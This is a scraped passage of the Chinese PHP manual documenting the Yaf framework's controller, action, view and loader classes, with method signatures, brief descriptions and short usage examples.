(Yaf >=1.0.0)

Yaf_Controller_Abstract::display — The display purpose

说明

protected Yaf_Controller_Abstract::display(string $tpl, array $parameters = ?): bool

参数

tpl

parameters

返回值

User Contributed Notes

There are no user contributed notes for this page.


转发到另一个动作

  • ? Yaf_Controller_Abstract::display
  • Yaf_Controller_Abstract::getInvokeArg ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • 转发到另一个动作

Yaf_Controller_Abstract::forward

(Yaf >=1.0.0)

Yaf_Controller_Abstract::forward — 转发到另一个动作

说明

public Yaf_Controller_Abstract::forward(string $action, array $paramters = ?): bool
public Yaf_Controller_Abstract::forward(string $controller, string $action, array $paramters = ?): bool
public Yaf_Controller_Abstract::forward(
string $module,
string $controller,
string $action,
array $paramters = ?
): bool

转发当前处理过程到其他动作。

Note:

此方法不会立即切换到目标操作，而是会在当前流程结束后发生。

参数

module

目标模块名称，如果是 NULL，则采用默认模块名

controller

目标控制器名称

action

目标动作名称

paramters

调用参数

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Yaf_Controller_Abstract::forward() 示例

<?php
class IndexController extends Yaf_Controller_Abstract
{
public function indexAction(){
$logined = $_SESSION["login"];
if (!$logined) {
$this->forward("login", array("from" => "Index")); // 转发到 login 动作
return FALSE; // 这非常重要，这会结束当前工作流
// 然后告诉 Yaf 不要自动渲染
}

// other processes
}

public function loginAction() {
echo "login, redirected from ", $this->_request->getParam("from") , " action";
}
}
?>

以上示例的输出类似于：

   login, redirected from Index action

参见

  • Yaf_Request_Abstrace::getParam()

User Contributed Notes

There are no user contributed notes for this page.


The getInvokeArg purpose

  • ? Yaf_Controller_Abstract::forward
  • Yaf_Controller_Abstract::getInvokeArgs ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • The getInvokeArg purpose

Yaf_Controller_Abstract::getInvokeArg

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose

说明

public Yaf_Controller_Abstract::getInvokeArg(string $name): void

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getInvokeArgs purpose

  • ? Yaf_Controller_Abstract::getInvokeArg
  • Yaf_Controller_Abstract::getModuleName ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • The getInvokeArgs purpose

Yaf_Controller_Abstract::getInvokeArgs

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose

说明

public Yaf_Controller_Abstract::getInvokeArgs(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


获取当前控制器所属的模块名

  • ? Yaf_Controller_Abstract::getInvokeArgs
  • Yaf_Controller_Abstract::getName ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • 获取当前控制器所属的模块名

Yaf_Controller_Abstract::getModuleName

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getModuleName — 获取当前控制器所属的模块名

说明

public Yaf_Controller_Abstract::getModuleName(): string

获取当前控制器所属的模块名

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get self name

  • ? Yaf_Controller_Abstract::getModuleName
  • Yaf_Controller_Abstract::getRequest ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • Get self name

Yaf_Controller_Abstract::getName

(Yaf >=3.2.0)

Yaf_Controller_Abstract::getName — Get self name

说明

public Yaf_Controller_Abstract::getName(): string

get the controller's name

参数

此函数没有参数。

返回值

string, controller name

User Contributed Notes

There are no user contributed notes for this page.


检索当前请求对象

  • ? Yaf_Controller_Abstract::getName
  • Yaf_Controller_Abstract::getResponse ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • 检索当前请求对象

Yaf_Controller_Abstract::getRequest

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getRequest — 检索当前请求对象

说明

public Yaf_Controller_Abstract::getRequest(): Yaf_Request_Abstract

检索当前请求对象

参数

此函数没有参数。

返回值

Yaf_Request_Abstract 实例

User Contributed Notes

There are no user contributed notes for this page.


检索当前响应对象

  • ? Yaf_Controller_Abstract::getRequest
  • Yaf_Controller_Abstract::getView ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • 检索当前响应对象

Yaf_Controller_Abstract::getResponse

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getResponse — 检索当前响应对象

说明

public Yaf_Controller_Abstract::getResponse(): Yaf_Response_Abstract

检索当前响应对象

参数

此函数没有参数。

返回值

Yaf_Response_Abstract 实例

User Contributed Notes

huangby19890920 at gmail dot com 19-Aug-2017 07:21
该方法有返回值，返回值为
Yaf_Response_Http


获取当前的视图引擎

  • ? Yaf_Controller_Abstract::getResponse
  • Yaf_Controller_Abstract::getViewpath ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • 获取当前的视图引擎

Yaf_Controller_Abstract::getView

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getView — 获取当前的视图引擎

说明

public Yaf_Controller_Abstract::getView(): Yaf_View_Interface

获取当前的视图引擎

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getViewpath purpose

  • ? Yaf_Controller_Abstract::getView
  • Yaf_Controller_Abstract::init ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • The getViewpath purpose

Yaf_Controller_Abstract::getViewpath

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getViewpath — The getViewpath purpose

说明

public Yaf_Controller_Abstract::getViewpath(): string

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


控制器初始化

  • ? Yaf_Controller_Abstract::getViewpath
  • Yaf_Controller_Abstract::initView ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • 控制器初始化

Yaf_Controller_Abstract::init

(Yaf >=1.0.0)

Yaf_Controller_Abstract::init — 控制器初始化

说明

public Yaf_Controller_Abstract::init(): void

Yaf_Controller_Abstract::__construct() 是 final 类型，所以用户不能重载它。但是用户可以定义 Yaf_Controller_Abstract::init()，该函数会在控制器对象实例化之后被调用。

参数

此函数没有参数。

返回值

参见

  • Yaf_Controller_Abstract::__construct() - Yaf_Controller_Abstract 构造方法

User Contributed Notes

There are no user contributed notes for this page.


The initView purpose

  • ? Yaf_Controller_Abstract::init
  • Yaf_Controller_Abstract::redirect ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • The initView purpose

Yaf_Controller_Abstract::initView

(Yaf >=1.0.0)

Yaf_Controller_Abstract::initView — The initView purpose

说明

public Yaf_Controller_Abstract::initView(array $options = ?): void

参数

options

返回值

User Contributed Notes

There are no user contributed notes for this page.


重定向到 URL

  • ? Yaf_Controller_Abstract::initView
  • Yaf_Controller_Abstract::render ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • 重定向到 URL

Yaf_Controller_Abstract::redirect

(Yaf >=1.0.0)

Yaf_Controller_Abstract::redirect — 重定向到 URL

说明

public Yaf_Controller_Abstract::redirect(string $url): bool

通过发送 302 标头重定向到 URL

参数

url

位置 URL

返回值

bool

User Contributed Notes

There are no user contributed notes for this page.


渲染视图模板

  • ? Yaf_Controller_Abstract::redirect
  • Yaf_Controller_Abstract::setViewpath ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • 渲染视图模板

Yaf_Controller_Abstract::render

(Yaf >=1.0.0)

Yaf_Controller_Abstract::render — 渲染视图模板

说明

protected Yaf_Controller_Abstract::render(string $tpl, array $parameters = ?): string

参数

tpl

parameters

返回值

User Contributed Notes

There are no user contributed notes for this page.


The setViewpath purpose

  • ? Yaf_Controller_Abstract::render
  • Yaf_Action_Abstract ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • The setViewpath purpose

Yaf_Controller_Abstract::setViewpath

(Yaf >=1.0.0)

Yaf_Controller_Abstract::setViewpath — The setViewpath purpose

说明

public Yaf_Controller_Abstract::setViewpath(string $view_directory): void

参数

view_directory

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Action_Abstract 类

(Yaf >=1.0.0)

简介

在 Yaf 中一个 action 可以采用单独定义 Yaf_Action_Abstract 来实现。 亦即，一个 action 方法也可以是一个 Yaf_Action_Abstract 的派生类。

Yaf 需要一个可以被它所调用的入口点，所以在你自己的动作类里面必须要实现抽象方法 Yaf_Action_Abstract::execute()。

类摘要

class Yaf_Action_Abstract extends Yaf_Controller_Abstract {
/* 属性 */
protected $_controller;
/* 方法 */
abstract publicexecute(mixed ...$args): mixed
publicgetController(): Yaf_Controller_Abstract
public getControllerName(): string
/* 继承的方法 */
protected Yaf_Controller_Abstract::display(string $tpl, array $parameters = ?): bool
public Yaf_Controller_Abstract::forward(string $action, array $paramters = ?): bool
public Yaf_Controller_Abstract::getInvokeArg(string $name): void
public Yaf_Controller_Abstract::getInvokeArgs(): void
public Yaf_Controller_Abstract::getModuleName(): string
public Yaf_Controller_Abstract::getName(): string
public Yaf_Controller_Abstract::getRequest(): Yaf_Request_Abstract
public Yaf_Controller_Abstract::getResponse(): Yaf_Response_Abstract
public Yaf_Controller_Abstract::getView(): Yaf_View_Interface
public Yaf_Controller_Abstract::getViewpath(): string
public Yaf_Controller_Abstract::init(): void
public Yaf_Controller_Abstract::initView(array $options = ?): void
public Yaf_Controller_Abstract::redirect(string $url): bool
protected Yaf_Controller_Abstract::render(string $tpl, array $parameters = ?): string
public Yaf_Controller_Abstract::setViewpath(string $view_directory): void
}

属性

_module

_name

_request

_response

_invoke_args

_view

_controller

Table of Contents

  • Yaf_Action_Abstract::execute — 动作入口点
  • Yaf_Action_Abstract::getController — 检索控制器对象
  • Yaf_Action_Abstract::getControllerName — Get controller name

User Contributed Notes

There are no user contributed notes for this page.


动作入口点

  • ? Yaf_Action_Abstract
  • Yaf_Action_Abstract::getController ?
  • PHP Manual
  • Yaf_Action_Abstract
  • 动作入口点

Yaf_Action_Abstract::execute

(Yaf >=1.0.0)

Yaf_Action_Abstract::execute — 动作入口点

说明

abstract publicYaf_Action_Abstract::execute(mixed ...$args): mixed

用户应该始终为动作定义此方法，这是动作的入口点。Yaf_Action_Abstract::execute() 可能会有参数。

Note:

从请求中获取值不安全，在使用之前需要对其过滤。

参数

args

返回值

示例

Example #1 Yaf_Action_Abstract::execute() 示例

<?php
/**
* A controller example
*/
class ProductController extends Yaf_Controller_Abstract {
protected $actions = array(
"index" => "actions/Index.php",
);
}
?>

Example #2 Yaf_Action_Abstract::execute() 示例

<?php
/**
* ListAction
*/
class ListAction extends Yaf_Action_Abstract {
public function execute ($name, $id) {
assert($name == $this->getRequest()->getParam("name"));
assert($id == $this->getRequest()->getParam("id"));
}
}
?>

以上示例的输出类似于：

/**
 * Now assuming we are using the Yaf_Route_Static route
 * for request: http://yourdomain/product/list/name/yaf/id/22
 * will result:
 */
 bool(true)
 bool(true)

参见

User Contributed Notes

There are no user contributed notes for this page.


检索控制器对象

  • ? Yaf_Action_Abstract::execute
  • Yaf_Action_Abstract::getControllerName ?
  • PHP Manual
  • Yaf_Action_Abstract
  • 检索控制器对象

Yaf_Action_Abstract::getController

(Yaf >=1.0.0)

Yaf_Action_Abstract::getController — 检索控制器对象

说明

publicYaf_Action_Abstract::getController(): Yaf_Controller_Abstract

检索当前控制器对象。

参数

此函数没有参数。

返回值

Yaf_Controller_Abstract 实例

User Contributed Notes

There are no user contributed notes for this page.


Get controller name

  • ? Yaf_Action_Abstract::getController
  • Yaf_View_Interface ?
  • PHP Manual
  • Yaf_Action_Abstract
  • Get controller name

Yaf_Action_Abstract::getControllerName

(No version information available, might only be in Git)

Yaf_Action_Abstract::getControllerName — Get controller name

说明

public Yaf_Action_Abstract::getControllerName(): string

get the controller's name

参数

此函数没有参数。

返回值

string, controller name

User Contributed Notes

There are no user contributed notes for this page.


Yaf_View_Interface 类

(Yaf >=1.0.0)

简介

Yaf 为开发人员提供了使用自定义视图而不是内置引擎 Yaf_View_Simple 的能力。有个例子可以解释如何做到这一点，参阅 Yaf_Dispatcher::setView()。

类摘要

class Yaf_View_Interface {
/* 方法 */
abstract public assign(string $name, string $value = ?): bool
abstract public display(string $tpl, array $tpl_vars = ?): bool
abstract public getScriptPath(): void
abstract public render(string $tpl, array $tpl_vars = ?): string
abstract public setScriptPath(string $template_dir): void
}

Table of Contents

  • Yaf_View_Interface::assign — 为视图引擎分配模板变量
  • Yaf_View_Interface::display — 渲染并输出模板
  • Yaf_View_Interface::getScriptPath — The getScriptPath purpose
  • Yaf_View_Interface::render — 渲染模板
  • Yaf_View_Interface::setScriptPath — The setScriptPath purpose

User Contributed Notes

There are no user contributed notes for this page.


为视图引擎分配模板变量

  • ? Yaf_View_Interface
  • Yaf_View_Interface::display ?
  • PHP Manual
  • Yaf_View_Interface
  • 为视图引擎分配模板变量

Yaf_View_Interface::assign

(Yaf >=1.0.0)

Yaf_View_Interface::assign — 为视图引擎分配模板变量

说明

abstract public Yaf_View_Interface::assign(string $name, string $value = ?): bool

为视图引擎分配变量, 在视图模板中可以直接通过 ${$name} 获取模板变量值

Warning

本函数还未编写文档，仅有参数列表。

参数

name

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


渲染并输出模板

  • ? Yaf_View_Interface::assign
  • Yaf_View_Interface::getScriptPath ?
  • PHP Manual
  • Yaf_View_Interface
  • 渲染并输出模板

Yaf_View_Interface::display

(Yaf >=1.0.0)

Yaf_View_Interface::display — 渲染并输出模板

说明

abstract public Yaf_View_Interface::display(string $tpl, array $tpl_vars = ?): bool

渲染模板并立即输出结果

Warning

本函数还未编写文档，仅有参数列表。

参数

tpl

tpl_vars

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getScriptPath purpose

  • ? Yaf_View_Interface::display
  • Yaf_View_Interface::render ?
  • PHP Manual
  • Yaf_View_Interface
  • The getScriptPath purpose

Yaf_View_Interface::getScriptPath

(Yaf >=1.0.0)

Yaf_View_Interface::getScriptPath — The getScriptPath purpose

说明

abstract public Yaf_View_Interface::getScriptPath(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


渲染模板

  • ? Yaf_View_Interface::getScriptPath
  • Yaf_View_Interface::setScriptPath ?
  • PHP Manual
  • Yaf_View_Interface
  • 渲染模板

Yaf_View_Interface::render

(Yaf >=1.0.0)

Yaf_View_Interface::render — 渲染模板

说明

abstract public Yaf_View_Interface::render(string $tpl, array $tpl_vars = ?): string

渲染视图模板并返回结果

Warning

本函数还未编写文档，仅有参数列表。

参数

tpl

tpl_vars

返回值

User Contributed Notes

There are no user contributed notes for this page.


The setScriptPath purpose

  • ? Yaf_View_Interface::render
  • Yaf_View_Simple ?
  • PHP Manual
  • Yaf_View_Interface
  • The setScriptPath purpose

Yaf_View_Interface::setScriptPath

(Yaf >=1.0.0)

Yaf_View_Interface::setScriptPath — The setScriptPath purpose

说明

abstract public Yaf_View_Interface::setScriptPath(string $template_dir): void

设置模板的基目录，这通常通过 Yaf_Dispatcher 调用。

Warning

本函数还未编写文档，仅有参数列表。

参数

template_dir

模板目录的绝对路径，默认的 Yaf_Dispatcher 会设置此目录为 application.directory . "/views"。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_View_Simple 类

(Yaf >=1.0.0)

简介

Yaf_View_Simple 这是 Yaf 内建的模板引擎，是个简单而快速的模板引擎，只支持 PHP 脚本模板。

类摘要

class Yaf_View_Simple implements Yaf_View_Interface {
/* 属性 */
protected $_tpl_vars;
protected $_tpl_dir;
/* 方法 */
final public __construct(string $template_dir, array $options = ?)
public assign(string $name, mixed $value = ?): bool
public assignRef(string $name, mixed &$value): bool
public clear(string $name = ?): bool
public display(string $tpl, array $tpl_vars = ?): bool
public eval(string $tpl_content, array $tpl_vars = ?): string
public __get(string $name = ?): void
public getScriptPath(): string
public __isset(string $name): void
public render(string $tpl, array $tpl_vars = ?): string
public __set(string $name, mixed $value): void
public setScriptPath(string $template_dir): bool
}

属性

_tpl_vars

_tpl_dir

Table of Contents

  • Yaf_View_Simple::assign — 为视图引擎分配一个模板变量
  • Yaf_View_Simple::assignRef — The assignRef purpose
  • Yaf_View_Simple::clear — 清除分配的值
  • Yaf_View_Simple::__construct — Yaf_View_Simple 的构造方法
  • Yaf_View_Simple::display — 渲染一个视图模板, 并直接输出给请求端
  • Yaf_View_Simple::eval — 渲染模板
  • Yaf_View_Simple::__get — 获取视图引擎的一个模板变量值
  • Yaf_View_Simple::getScriptPath — 获取模板目录
  • Yaf_View_Simple::__isset — The __isset purpose
  • Yaf_View_Simple::render — 渲染模板
  • Yaf_View_Simple::__set — 为视图引擎分配一个模板变量
  • Yaf_View_Simple::setScriptPath — 设置模板的目录

User Contributed Notes

There are no user contributed notes for this page.


为视图引擎分配一个模板变量

  • ? Yaf_View_Simple
  • Yaf_View_Simple::assignRef ?
  • PHP Manual
  • Yaf_View_Simple
  • 为视图引擎分配一个模板变量

Yaf_View_Simple::assign

(Yaf >=1.0.0)

Yaf_View_Simple::assign — 为视图引擎分配一个模板变量

说明

public Yaf_View_Simple::assign(string $name, mixed $value = ?): bool

为视图引擎分配一个模板变量

参数

name

字符串或者数组

如果为字符串, 则下一个参数 $value 不能为空

value

混合值

返回值

示例

Example #1 Yaf_View_Simple::assign() 示例

<?php
class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
$this->getView()->assign("foo", "bar");
$this->_view->assign( array( "key" => "value", "name" => "value"));
}
}
?>

Example #2 template()example

<html>
<head>
<title><?php echo $foo; ?></title>
</head>
<body>
<?php
foreach ($this->_tpl_vars as $name => $value) {
echo $$name; // or echo $this->_tpl_vars[$name];
}
?>
</body>
</html>

参见

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::clear()
  • Yaf_View_Simple::__set() - 为视图引擎分配一个模板变量

User Contributed Notes

There are no user contributed notes for this page.


The assignRef purpose

  • ? Yaf_View_Simple::assign
  • Yaf_View_Simple::clear ?
  • PHP Manual
  • Yaf_View_Simple
  • The assignRef purpose

Yaf_View_Simple::assignRef

(Yaf >=1.0.0)

Yaf_View_Simple::assignRef — The assignRef purpose

说明

public Yaf_View_Simple::assignRef(string $name, mixed &$value): bool

不同于 Yaf_View_Simple::assign()，这个方法传递一个引用变量给模板引擎。

参数

name

字符串名，被用来传递值给模板。

value

混合值

返回值

示例

Example #1 Yaf_View_Simple::assignRef() 示例

<?php
class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
$value = "bar";
$this->getView()->assign("foo", $value);

/* plz note that there was a bug before Yaf 2.1.4,
* which make following output "bar";
*/
$dummy = $this->getView()->render("index/index.phtml");
echo $value;

//prevent the auto-render
Yaf_Dispatcher::getInstance()->autoRender(FALSE);
}
}
?>

Example #2 template()example

<html>
<head>
<title><?php echo $foo; $foo = "changed"; ?></title>
</head>
<body>
</body>
</html>

以上示例的输出类似于：

/* access the index controller will result: */
changed

参见

  • Yaf_View_Simple::assign() - 为视图引擎分配一个模板变量
  • Yaf_View_Simple::__set() - 为视图引擎分配一个模板变量

User Contributed Notes

There are no user contributed notes for this page.


清除分配的值

  • ? Yaf_View_Simple::assignRef
  • Yaf_View_Simple::__construct ?
  • PHP Manual
  • Yaf_View_Simple
  • 清除分配的值

Yaf_View_Simple::clear

(Yaf >=2.2.0)

Yaf_View_Simple::clear — 清除分配的值

说明

public Yaf_View_Simple::clear(string $name = ?): bool

清除分配的变量

参数

name

分配的变量名

如果为空，将会清除所有分配的变量

返回值

示例

Example #1 Yaf_View_Simple::clear() 示例

<?php
class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
$this->getView()->clear("foo")->clear("bar"); // clear "foo" and "bar"
$this->_view->clear(); //clear all assigned variables
}
}
?>

参见

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::assign() - 为视图引擎分配模板变量
  • Yaf_View_Simple::__set() - 为视图引擎分配一个模板变量

User Contributed Notes

There are no user contributed notes for this page.


Yaf_View_Simple 的构造方法

  • ? Yaf_View_Simple::clear
  • Yaf_View_Simple::display ?
  • PHP Manual
  • Yaf_View_Simple
  • Yaf_View_Simple 的构造方法

Yaf_View_Simple::__construct

(Yaf >=1.0.0)

Yaf_View_Simple::__construct — Yaf_View_Simple 的构造方法

说明

final public Yaf_View_Simple::__construct(string $template_dir, array $options = ?)

参数

template_dir

模板的基本路径，Yaf 默认为 APPLICATOIN . "/views"。

options

Options for the engine, as of Yaf 2.1.13, you can use short tag
      "<?=$var?>" in your template(regardless of "short_open_tag"),
      so comes a option named "short_tag",  you can switch this off
      to prevent use short_tag in template.

示例

Example #1 Yaf_View_Simple::__constructor() 示例

<?php
define ("TEMPLATE_DIRECTORY", APPLICATOIN_PATH . '/views');
$view = new Yaf_View_Simple(TEMPLATE_DIRECTORY, array(
'short_tag' => false //doesn't allow use short tag in template
));
?>

User Contributed Notes

There are no user contributed notes for this page.


渲染一个视图模板, 并直接输出给请求端

  • ? Yaf_View_Simple::__construct
  • Yaf_View_Simple::eval ?
  • PHP Manual
  • Yaf_View_Simple
  • 渲染一个视图模板, 并直接输出给请求端

Yaf_View_Simple::display

(Yaf >=1.0.0)

Yaf_View_Simple::display — 渲染一个视图模板, 并直接输出给请求端

说明

public Yaf_View_Simple::display(string $tpl, array $tpl_vars = ?): bool

渲染视图模板, 并直接输出给请求端。

参数

tpl

tpl_vars

返回值

User Contributed Notes

There are no user contributed notes for this page.


渲染模板

  • ? Yaf_View_Simple::display
  • Yaf_View_Simple::__get ?
  • PHP Manual
  • Yaf_View_Simple
  • 渲染模板

Yaf_View_Simple::eval

(Yaf >=2.2.0)

Yaf_View_Simple::eval — 渲染模板

说明

public Yaf_View_Simple::eval(string $tpl_content, array $tpl_vars = ?): string

渲染一个字符串模板，然后返回结果。

参数

tpl_content

字符串模板

tpl_vars

返回值

User Contributed Notes

There are no user contributed notes for this page.


获取视图引擎的一个模板变量值

  • ? Yaf_View_Simple::eval
  • Yaf_View_Simple::getScriptPath ?
  • PHP Manual
  • Yaf_View_Simple
  • 获取视图引擎的一个模板变量值

Yaf_View_Simple::__get

(Yaf >=1.0.0)

Yaf_View_Simple::__get — 获取视图引擎的一个模板变量值

说明

public Yaf_View_Simple::__get(string $name = ?): void

获取视图引擎的一个模板变量值

Note:

从 2.1.11 以后，参数可以为空

参数

name

分配的变量名

如果为空，所有传递的变量都会被返回

返回值

User Contributed Notes

There are no user contributed notes for this page.


获取模板目录

  • ? Yaf_View_Simple::__get
  • Yaf_View_Simple::__isset ?
  • PHP Manual
  • Yaf_View_Simple
  • 获取模板目录

Yaf_View_Simple::getScriptPath

(Yaf >=1.0.0)

Yaf_View_Simple::getScriptPath — 获取模板目录

说明

public Yaf_View_Simple::getScriptPath(): string

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The __isset purpose

  • ? Yaf_View_Simple::getScriptPath
  • Yaf_View_Simple::render ?
  • PHP Manual
  • Yaf_View_Simple
  • The __isset purpose

Yaf_View_Simple::__isset

(Yaf >=1.0.0)

Yaf_View_Simple::__isset — The __isset purpose

说明

public Yaf_View_Simple::__isset(string $name): void

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


渲染模板

  • ? Yaf_View_Simple::__isset
  • Yaf_View_Simple::__set ?
  • PHP Manual
  • Yaf_View_Simple
  • 渲染模板

Yaf_View_Simple::render

(Yaf >=1.0.0)

Yaf_View_Simple::render — 渲染模板

说明

public Yaf_View_Simple::render(string $tpl, array $tpl_vars = ?): string

渲染模板并返回结果

参数

tpl

tpl_vars

返回值

User Contributed Notes

There are no user contributed notes for this page.


为视图引擎分配一个模板变量

  • ? Yaf_View_Simple::render
  • Yaf_View_Simple::setScriptPath ?
  • PHP Manual
  • Yaf_View_Simple
  • 为视图引擎分配一个模板变量

Yaf_View_Simple::__set

(Yaf >=1.0.0)

Yaf_View_Simple::__set — 为视图引擎分配一个模板变量

说明

public Yaf_View_Simple::__set(string $name, mixed $value): void

这是一个更简单并且用来替代 Yaf_View_Simple::assign() 的方法

参数

name

一个字符串值的名字

value

Mixed value.

返回值

示例

Example #1 Yaf_View_Simple::__set() 示例

<?php
class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
$this->getView()->foo = "bar"; // same as assign("foo", "bar");
}
}
?>

参见

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::assign() - 为视图引擎分配模板变量

User Contributed Notes

There are no user contributed notes for this page.


设置模板的目录

  • ? Yaf_View_Simple::__set
  • Yaf_Loader ?
  • PHP Manual
  • Yaf_View_Simple
  • 设置模板的目录

Yaf_View_Simple::setScriptPath

(Yaf >=1.0.0)

Yaf_View_Simple::setScriptPath — 设置模板的目录

说明

public Yaf_View_Simple::setScriptPath(string $template_dir): bool

参数

template_dir

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Loader 类

(Yaf >=1.0.0)

简介

Yaf_Loader 为 Yaf 提供了自动加载功能的全面解决方案。

在第一次检索 Yaf_Application 实例时，Yaf_Loader 将实例化一个单例，并使用 spl_autoload 注册自己。通过 Yaf_Loader::getInstance() 检索实例

Yaf_Loader 加载类时仅仅尝试一次，如果失败了，取决于 yaf.use_spl_auload，如果配置是 On，Yaf_Loader::autoload() 将会返回 false，从而给其它自动加载提供机会。如果为 Off（默认），Yaf_Loader::autoload() 将会返回 true，更重要的是将会抛出非常有用的警告（对于找出类无法加载的原因非常有用）。

Note:

请保持 yaf.use_spl_autoload 为 Off，除非有一些 library 有自己的自动加载机制，并且是无法重写的。

默认情况下，Yaf_Loader 假设所有 library（类定义的脚本）储存进在 php.ini（yaf.library）定义的全局库目录中。

如果使用 Yaf_Loader 在本地库目录（在 application.ini 中定义，默认是 application.directory . "/library"）搜索一些类（库），需要使用 Yaf_Loader::registerLocalNameSpace() 注册本地类前缀

看看一些示例（假设 APPLICATION_PATH 是 application.directory）：

Example #1 Config example

// Assuming the following configure in php.ini:
yaf.library = "/global_dir"

//Assuming the following configure in application.ini
application.library = APPLICATION_PATH "/library"
假设以下本地名称空间已注册：

Example #2 注册本地命名空间

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
public function _initLoader($dispatcher) {
Yaf_Loader::getInstance()->registerLocalNameSpace(array("Foo", "Bar"));
}
?>
自动加载示例：

Example #3 加载类示例

class Foo_Bar_Test =>
  // APPLICATION_PATH/library/Foo/Bar/Test.php

class GLO_Name  =>
  // /global_dir/Glo/Name.php

class BarNon_Test
  // /global_dir/Barnon/Test.php

Example #4 加载命名空间类示例

class \Foo\Bar\Dummy =>
   // APPLICATION_PATH/library/Foo/Bar/Dummy.php

class \FooBar\Bar\Dummy =>
   // /global_dir/FooBar/Bar/Dummy.php

可能会注意到所有文件夹名字的首字母是大写的，可以通过在 php.ini 中设置 yaf.lowcase_path = On 来将它们设为小写。

Yaf_Loader 也是设计来加载 MVC 类，响应的规则如下：

Example #5 MVC 类加载示例

Controller Classes =>
// APPLICATION_PATH/controllers/

Model Classes =>
// APPLICATION_PATH/models/

Plugin Classes =>
// APPLICATION_PATH/plugins/
Yaf 通过识别类的后缀（这个是默认的，也可以通过改变配置项 yaf.name_suffix 来更改为前缀）来决定它是否是 MVC 类：

Example #6 MVC 类区别

Controller Classes =>
    // ***Controller

Model Classes =>
    // ***Model

Plugin Classes =>
    // ***Plugin
一些示例：

Example #7 MVC 加载示例

class IndexController
    // APPLICATION_PATH/controllers/Index.php

class DataModel =>
   // APPLICATION_PATH/models/Data.php

class DummyPlugin =>
  // APPLICATION_PATH/plugins/Dummy.php

class A_B_TestModel =>
  // APPLICATION_PATH/models/A/B/Test.php

Note:

自 2.1.18 起，Yaf 支持用户脚本端的 Controller 自动加载（这意味着由用户 php 脚本触发自动加载，例如：访问 Bootstrap 或 Plugins 中的控制器静态属性），但自动加载器仅尝试在控制器类脚本下定位默认模块文件夹，即"APPLICATION_PATH/controllers/"。

此外，该目录将受 yaf.lowcase_path 的影响。

类摘要

class Yaf_Loader {
/* 属性 */
protected $_local_ns;
protected $_library;
protected $_global_library;
static $_instance;
/* 方法 */
private __construct()
public autoload(): void
public clearLocalNamespace(): void
public static getInstance(): void
public getLibraryPath(bool $is_global = false): Yaf_Loader
public getLocalNamespace(): void
public getNamespacePath(string $namespaces): string
public getNamespaces(): array
public static import(): void
public isLocalName(): void
public registerLocalNamespace(mixed $prefix): void
public registerNamespace(string|array $namespaces, string $path = ?): bool
public setLibraryPath(string $directory, bool $is_global = false): Yaf_Loader
}

属性

_local_ns

_library

默认情况下，此值为 application.directory . "/library"，可以通过修改 application.ini（application.library）或者调用 Yaf_Loader::setLibraryPath() 更改。

_global_library

_instance

Table of Contents

  • Yaf_Loader::autoload — The autoload purpose
  • Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose
  • Yaf_Loader::__construct — The __construct purpose
  • Yaf_Loader::getInstance — The getInstance purpose
  • Yaf_Loader::getLibraryPath — 获取库路径
  • Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose
  • Yaf_Loader::getNamespacePath — Retieve path of a registered namespace
  • Yaf_Loader::getLocalNamespace — Retrive all register namespaces info
  • Yaf_Loader::import — The import purpose
  • Yaf_Loader::isLocalName — The isLocalName purpose
  • Yaf_Loader::registerLocalNamespace — 注册本地类前缀
  • Yaf_Loader::registerNamespace — Register namespace with searching path
  • Yaf_Loader::setLibraryPath — 改变 library 路径

User Contributed Notes

There are no user contributed notes for this page.


The autoload purpose

  • ? Yaf_Loader
  • Yaf_Loader::clearLocalNamespace ?
  • PHP Manual
  • Yaf_Loader
  • The autoload purpose

Yaf_Loader::autoload

(Yaf >=1.0.0)

Yaf_Loader::autoload — The autoload purpose

说明

public Yaf_Loader::autoload(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The clearLocalNamespace purpose

  • ? Yaf_Loader::autoload
  • Yaf_Loader::__construct ?
  • PHP Manual
